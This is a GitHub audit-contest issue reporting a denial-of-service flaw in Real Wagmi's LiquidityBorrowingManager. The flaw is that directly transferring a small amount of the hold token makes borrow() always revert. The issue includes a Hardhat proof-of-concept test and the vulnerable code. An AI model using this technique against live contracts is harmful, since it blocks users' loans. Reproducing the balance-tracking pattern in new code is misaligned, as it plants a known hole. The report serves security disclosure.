Skip to content
This repository has been archived by the owner on Apr 28, 2024. It is now read-only.

ali_shehab - DOS blocking users from opening positions on loans #23

Closed
sherlock-admin opened this issue Oct 23, 2023 · 0 comments
Closed
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Oct 23, 2023

ali_shehab

high

DOS blocking users from opening positions on loans

Summary

It is possible to DOS the borrow function to always revert when users call it while passing a targeted holdToken, this is done simply by transferring a small amount of the targeted holdToken directly to the LiquidityBorrowingManager, which will mess up the _getPairBalance function and will return messed up values that violate the actual/expected balance.

Vulnerability Detail

The difference between cache.borrowedAmount and cache.holdTokenBalance in borrow function will always be small for example, if we print the values of cache.borrowedAmount and cache.holdTokenBalance you will notice it is too small.

image

So if a user send small amount of token to LiquidityBorrowingManager it will cause the cache.holdTokenBalance to be greater than cache.borrowedAmount then line
https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492
will always revert when anyone try to call the borrow function.

POC:

it("poc", async () => {
    const amountWBTC = ethers.utils.parseUnits("0.05", 8); //token0
    const deadline = (await time.latest()) + 60;
    const minLeverageDesired = 50;
    const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);

    const loans = [
        {
            liquidity: nftpos[3].liquidity,
            tokenId: nftpos[3].tokenId,
        },
    ];

    const swapParams: ApproveSwapAndPay.SwapParamsStruct = {
        swapTarget: constants.AddressZero,
        swapAmountInDataIndex: 0,
        maxGasForCall: 0,
        swapData: swapData,
    };

    const params: LiquidityBorrowingManager.BorrowParamsStruct = {
        internalSwapPoolfee: 500,
        saleToken: WETH_ADDRESS,
        holdToken: WBTC_ADDRESS,
        minHoldTokenOut: amountWBTC,
        maxCollateral: maxCollateralWBTC,
        externalSwap: swapParams,
        loans: loans,
    };

    await borrowingManager.connect(bob).borrow(params, deadline);

    await WBTC.connect(alice).transfer(borrowingManager.address, ethers.utils.parseUnits("1", 1));

    const params2: LiquidityBorrowingManager.BorrowParamsStruct = {
        ...params,
        loans: [
            {
                liquidity: nftpos[4].liquidity,
                tokenId: nftpos[4].tokenId,
            },
        ],
    };

    await expect(borrowingManager.connect(bob).borrow(params2, deadline)).to.be.reverted;
});

you will see that it will always revert.

Impact

DOS blocking users from opening positions on loans

Code Snippet

https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L492

uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;

https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L113-L118

 function _getBalance(address token) internal view returns (uint256 balance) {
        bytes memory callData = abi.encodeWithSelector(IERC20.balanceOf.selector, address(this));
        (bool success, bytes memory data) = token.staticcall(callData);
        require(success && data.length >= 32);
        balance = abi.decode(data, (uint256));
    }

Tool used

Manual Review

Recommendation

use local variables to track balances instead of balance(this)?

Duplicate of #86

@github-actions github-actions bot added Medium A valid Medium severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Oct 26, 2023
@Evert0x Evert0x added High A valid High severity issue and removed Medium A valid Medium severity issue labels Oct 30, 2023
@sherlock-admin sherlock-admin changed the title Steep Boysenberry Grasshopper - DOS blocking users from opening positions on loans ali_shehab - DOS blocking users from opening positions on loans Oct 30, 2023
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Oct 30, 2023
@Evert0x Evert0x added Medium A valid Medium severity issue and removed High A valid High severity issue labels Nov 13, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

2 participants